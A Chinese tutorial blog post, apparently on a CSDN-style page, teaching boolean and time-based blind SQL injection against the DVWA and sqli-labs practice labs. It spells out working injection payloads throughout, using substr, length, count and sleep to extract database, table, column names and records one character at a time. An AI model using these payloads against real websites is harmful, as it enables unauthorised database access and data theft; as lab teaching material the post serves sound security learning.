SQL注入:从原理到实战,新手必防的“数据库漏洞杀手”(SQL盲注篇)

一、布尔盲注

布尔盲注通过观察页面返回的​​真(1)/假(0)状态​​(如内容存在与否、页面元素差异)来推断数据库信息。例如:
若SQL语句执行成功,返回正常页面;
若执行失败或查询无结果,返回错误或空白页面。

注入流程

  1. 首先需要确定目标系统是否存在SQL注入漏洞。
  2. 确认存在注入点后,着手探测数据库名称的字符长度。
  3. 基于获取的长度信息,逐个字符猜测数据库名称。
  4. 完成数据库名猜解后,估算数据库中表的数量。
  5. 从表数量出发,尝试确定某一特定表的名称长度。
  6. 根据表名长度,依次猜出表的完整名称。
  7. 得到表名后,进一步推断该表包含的列数量。
  8. 选定某列,猜测其列名的字符长度。
  9. 依据列名长度,逐字符猜出具体的列名。
  10. 确定列名后,统计该列下存储的数据条目数量。
  11. 从数据条目中选取一条,判断其内容长度。
  12. 最后,通过逐个字符猜测,获取数据条目的具体内容。

(1)判断是否存在注入

盲注中一般使用1 and 1=1、1 and 1=2和1’ and ‘1’=‘1、1’ and ‘1’='2这几个指令进行判断。

1)输入前三个指令,结果都为下图所示,说明输入的语句并没有对后端的SQL查询语句进行改变
在这里插入图片描述
2)当输入1’ and ‘1’='2时,页面返回结果如下图所示,说明SQL语句生效了。
在这里插入图片描述

(2)获取数据库名

1.获取库名长度

通过phpstudy中的MySQL-Front,可以得到库名长度为4,相当于一个“上帝视角”。
在这里插入图片描述
1)当把id后的指令修改为1’ and length(database())>4%23,可得下图,即返回不正常:
在这里插入图片描述
2)当把id后的指令修改为1’ and length(database())=4%23,可得下图,即返回正常:
在这里插入图片描述
由此可知,当我们没有“上帝视角”时,我们可通过二分法不断修改length的值,慢慢试出库名长度。

2.获取库名

在MySQL中,可以运用substr()函数实现字符串截取操作。substr()函数包含三个参数,其语法为substr(string, start, length) 。其中,string代表待截取的原始字符串,start表示截取起始位置(在MySQL里,起始位置从1开始计数),length则指定要截取的字符长度。

库名依旧可用“上帝视角”,如下图:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
1)截取数据库名的第一个字母,输入1’and substr(database(),1,1)=‘d’%23,返回正常。
在这里插入图片描述
2)截取第二个字母,1’ and substr(database(),2,1)=‘c’%23,返回不正常。在这里插入图片描述
接下来,持续对 start 的位置进行调整,从起始位置开始逐步往后改变,一直到 start 的值为4以及继续往后推移,如此便能够完整地获取到数据库的名称。

(3)获取表名

1.获取表的数量

因为无法直接知晓数据库中表的具体数量,为了防止进行无意义的查询操作,我们可以先获取表的总数。在这方面,可以借助count()函数来达成目的。count()函数能够统计数据表内所包含的记录行的总数,或者依据查询的结果,返回列中所涵盖的数据行数量。

这里依旧先开启“上帝视角”。
在这里插入图片描述
在这里插入图片描述
然后,输入1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2%23时页面返回正常,说明dvwa数据库中有两个数据表。
在这里插入图片描述

2.获取表名长度

1)获取第一个表名的长度,当输入1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9%23时,页面返回正常,说明第一个表名长度为9。
在这里插入图片描述
2)获取第二个表名长度,当输入1’and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5%23时,页面返回正常,说明第二个表名长度为5。
在这里插入图片描述

3.获取具体表名

老样子,先“上帝视角”,select table_name from information_schema.tables where table_schema=database() limit 0,1
在这里插入图片描述
在这里插入图片描述
1)获取第一个表名字的第一个字母,当输入1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘g’%23时,页面返回正常,说明第一个字母是g。
在这里插入图片描述
2)获取第一个表名字的第二个字母,当输入1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)=‘u’%23时,页面返回正常,说明第二个字母是u。

3)直到获取到第九个字母,当输入1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1)=‘k’%23时,页面返回正常,说明第九个字母是k。

4)如果要获取第二个表名,修改limit的起始位即可,比如获取第二个表名的第一个字母,当输入1’ andsubstr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=‘u’%23时,页面返回正常,说明第一个字母是u。

(4)获取字段名

1.获取某个表中有多少列

1)获取guestbook表中的列数,当输入1’and (select count(column_name) from information_schema.columns where table_name=“guestbook” and table_schema=“dvwa”)=3%23时,页面返回正常,说明guestbook表中有3列。
2)获取users表中的列数,当输入1’ and (select count(column_name) from information_schema.columns where table_name=“users” andtable_schema=“dvwa”)=8%23时,页面返回正常,说明users表中有8列。

2.获取列名长度

1)获取第一个列名的长度,当输入1’ and length((select column_name from information_schema.columns where table_name=‘guestbook’ and table_schema='dvwa’limit 0,1))=10%23时,页面返回正常,说明第一个列名的长度为10。

2)获取第二个列名的长度,当输入1’ and length((select column_name from information_schema.columns where table_name=‘guestbook’ and table_schema='dvwa’limit 1,1))=7%23时,页面返回正常,说明第二个列名的长度为7。

3)获取第三个列名的长度,当输入1’ and length((select column_name from information_schema.columns where table_name=‘guestbook’ and table_schema='dvwa’limit 2,1))=4%23时,页面返回正常,说明第三个列名的长度为4。

3.获取列名

1)获取第一个列名的第一个字符,当输入1’ and substr((select column_name from information_schema.columns where table_name=‘guestbook’ and table_schema='dvwa’limit 0,1),1,1)=‘c’%23时,页面返回正常,说明第一个列名的第一个字符为c。

2)获取第一个列名的第二个字符,当输入1’ and substr((select column_name from information_schema.columns where table_name=‘guestbook’ and table_schema='dvwa’limit 0,1),2,1)=‘o’%23时,页面返回正常,说明第一个列名的第二个字符为o。

3)依次改变substr函数截取的起始位直到10即可完整得到第一个列名。

4)要获取第二个列名,只需要修改limit的起始位即可。

(5)获取记录

1.获取表中有多少行记录

1)当输入1’ and (select count(comment_id) from guestbook)=1%23时,页面返回正常,说明guestbook表的comment_id列中只有一行记录。

2.获取记录长度

1)当输入1’ and (select length(comment_id) from guestbook limit 0,1)=1%23时,页面返回正常,说明guestbook表中的comment_id列的第一行记录长度为1。

3.获取具体数据

1)当输入1’ and substr((select comment_id from guestbook limit 0,1),1,1)=‘1’%23时,页面返回正常,说明guestbook表中的comment_id列的第一行记录的数据为1。

二、时间盲注

时间盲注通过​​页面响应时间差异​​判断SQL条件是否成立,适用于所有输入均返回相同页面内容的情况。例如:
若条件为真,触发延时函数(如sleep(5));
条件为假则立即返回。

注入流程

  1. 首先需要确定目标系统是否存在SQL注入漏洞。
  2. 确认存在注入点后,着手探测数据库名称的字符长度。
  3. 基于获取的长度信息,逐个字符猜测数据库名称。
  4. 完成数据库名猜解后,估算数据库中表的数量。
  5. 从表数量出发,尝试确定某一特定表的名称长度。
  6. 根据表名长度,依次猜出表的完整名称。
  7. 得到表名后,进一步推断该表包含的列数量。
  8. 选定某列,猜测其列名的字符长度。
  9. 依据列名长度,逐字符猜出具体的列名。
  10. 确定列名后,统计该列下存储的数据条目数量。
  11. 从数据条目中选取一条,判断其内容长度。
  12. 最后,通过逐个字符猜测,获取数据条目的具体内容。

(1)判断是否存在注入

当页面不存在任何回显时,常规的判断手段便失去了效用。此时,可借助sleep()函数来实现判断。sleep()函数的功能是让程序暂停运行一段预先设定的时长。通常采用1 and sleep(n) 、1’ and sleep(n)%23这样的语句格式进行判断操作,其中n代表程序暂停的时长,时间单位为秒。

1)打开sqli-labs第九关和bp,输入id=1和1’ and sleep(3)%23,然后点击执行。
在这里插入图片描述
在这里插入图片描述

2)在bp中找到这两个包,分别点击send to repeater,然后点击左上角的send,就可看见右下角的延迟时间。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2061ms和5101ms相减,差不多就是三秒,和我们输入的秒数一致,说明数据库执行了sleep语句,所以存在SQL注入。

(2)获取数据库名

1.获取库名长度

要获取数据库名的长度,我们可以使用 IF 条件判断语句,其语法结构为 IF(条件表达式, 值若条件为真, 值若条件为假)。具体来说,该语句会首先评估 条件表达式(即 expr1),如果这个条件满足(结果为真),那么就会返回 值若条件为真(即 expr2);反之,若条件不满足(结果为假),则返回 值若条件为假(即 expr3)。

1)当输入1’ and if(length(database())=8,sleep(3),1)%23时,页面延迟了3秒钟,条件成立,可得所有数据库名的长度为8。
在这里插入图片描述

2.获取数据库名

1)当输入1’ and if(substr(database(),1,1)=‘s’,sleep(3),1)%23时,页面延迟了3秒钟,可得数据库名的第一个字符为s。
2)依次修改substr的起始位置,直到达到库名长度8,即可得到完整的数据库名security。

以下步骤都与布尔盲注类似,这里就不再赘述。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值